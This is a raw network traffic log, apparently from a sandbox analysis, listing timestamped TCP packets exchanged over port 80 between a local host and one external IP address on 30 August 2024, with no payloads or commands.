Aug 30, 2024 18:12:59.428673983 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.428684950 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.428695917 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.428706884 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.428719997 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.428740025 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.428766966 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.428947926 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.428960085 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.428971052 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.428981066 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.428991079 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.429002047 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.429003954 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.429013014 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.429034948 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.429059982 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.431423903 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.431476116 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.431476116 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.431488991 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.431519985 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.431531906 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.431639910 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.431651115 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.431660891 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.431670904 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.431690931 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.431725979 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.436556101 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.436603069 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.436625004 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.436636925 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.436672926 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.436789036 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.436800003 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.436814070 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.436825037 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.436844110 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.436861992 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.437042952 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.437055111 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.437066078 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.437077045 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.437096119 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.437117100 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.437247992 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.437262058 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.437273026 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.437292099 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.437320948 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.437397003 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.437407017 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.437417984 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.437427998 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.437450886 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.437469006 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.437664032 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.437674046 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.437683105 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.437693119 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.437702894 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.437714100 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.437715054 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.437725067 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.437736988 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.437741041 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.437758923 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.437773943 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.437974930 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.437987089 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.438030005 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.438129902 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.438141108 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.438150883 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.438159943 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.438170910 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.438180923 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.438183069 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.438199043 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.438210011 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.438232899 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.440289021 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.440342903 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.440371037 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.440382957 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.440413952 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.440427065 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.440500975 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.440512896 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.440522909 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.440532923 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.440541983 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.440552950 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.440583944 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.440699100 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.440711021 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.440721035 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.440732956 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.440751076 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.440771103 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.440831900 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.440881014 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.440958977 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.440969944 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.440979958 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.440989971 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.441000938 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.441011906 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.441011906 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.441041946 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.441060066 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.441263914 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.441274881 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.441284895 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.441313028 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.441334009 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.441395998 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.441407919 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.441416979 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.441426992 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.441451073 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.441478014 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.441637039 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.441648960 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.441658020 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.441668034 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.441678047 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.441685915 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.441689968 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.441699028 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.441710949 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.441719055 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.441736937 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.441751957 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.442070961 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.442081928 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.442090988 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.442101955 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.442111969 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.442125082 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.442127943 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.442140102 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.442150116 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.442156076 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.442159891 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.442177057 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.442198992 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.442418098 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.442429066 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.442440033 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.442452908 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.442473888 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.442487955 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.442707062 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.442718029 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.442728043 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.442738056 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.442748070 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.442758083 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.442759991 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.442770004 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.442775011 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.442783117 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.442794085 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.442799091 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.442806005 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.442816973 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.442820072 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.442848921 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.442873955 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.514915943 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.514934063 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.514947891 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.514985085 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.515000105 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.515012026 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.515024900 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.515029907 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.515043974 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.515054941 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.515088081 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.515225887 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.515268087 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.515352964 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.515364885 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.515376091 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.515386105 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.515398026 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.515408039 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.515409946 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.515420914 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.515449047 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.515460968 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.515619993 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.515667915 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.518065929 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.518114090 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.518120050 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.518131018 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.518176079 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.518239021 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.518249989 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.518261909 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.518274069 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.518285036 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.518306971 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.518441916 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.518488884 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.523288965 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.523339033 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.523344040 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.523353100 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.523381948 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.523402929 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.523442030 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.523452044 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.523494959 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.523531914 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.523542881 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.523587942 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.523638010 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.523648977 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.523689985 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.523791075 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.523801088 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.523811102 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.523819923 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.523830891 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.523843050 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.523864031 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.523879051 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.523961067 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.524009943 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.524059057 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.524071932 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.524111986 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.524177074 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.524188042 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.524198055 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.524209976 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.524233103 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.524244070 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.524426937 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.524437904 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.524447918 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.524458885 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.524468899 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.524477959 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.524486065 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.524498940 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.524501085 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.524518013 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.524544954 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.524720907 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.524733067 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.524741888 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.524754047 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.524772882 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.524797916 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.524852991 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.524898052 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.524899006 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.524914026 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.524923086 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.524947882 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.524964094 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.526992083 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.527045965 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.527075052 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.527076960 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.527091026 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.527120113 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.527146101 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.527158022 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.527168989 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.527196884 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.527221918 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.527307987 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.527319908 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.527329922 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.527359962 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.527385950 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.527453899 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.527466059 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.527479887 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.527510881 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.527533054 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.527595043 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.527606010 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.527616024 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.527647018 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.527672052 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.527808905 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.527820110 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.527829885 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.527841091 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.527851105 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.527861118 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.527865887 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.527873993 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.527899981 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.527916908 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.528081894 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.528094053 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.528136969 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.528228998 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.528239965 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.528249025 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.528259039 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.528270006 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.528279066 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.528280020 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.528291941 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.528301954 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.528302908 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.528315067 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.528318882 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.528327942 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.528352976 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.528378963 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.528747082 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.528759003 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.528769016 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.528779030 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.528795004 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.528803110 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.528806925 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.528824091 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.528832912 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.528832912 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.528852940 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.528879881 CEST	49733	80	192.168.2.4	193.176.190.41
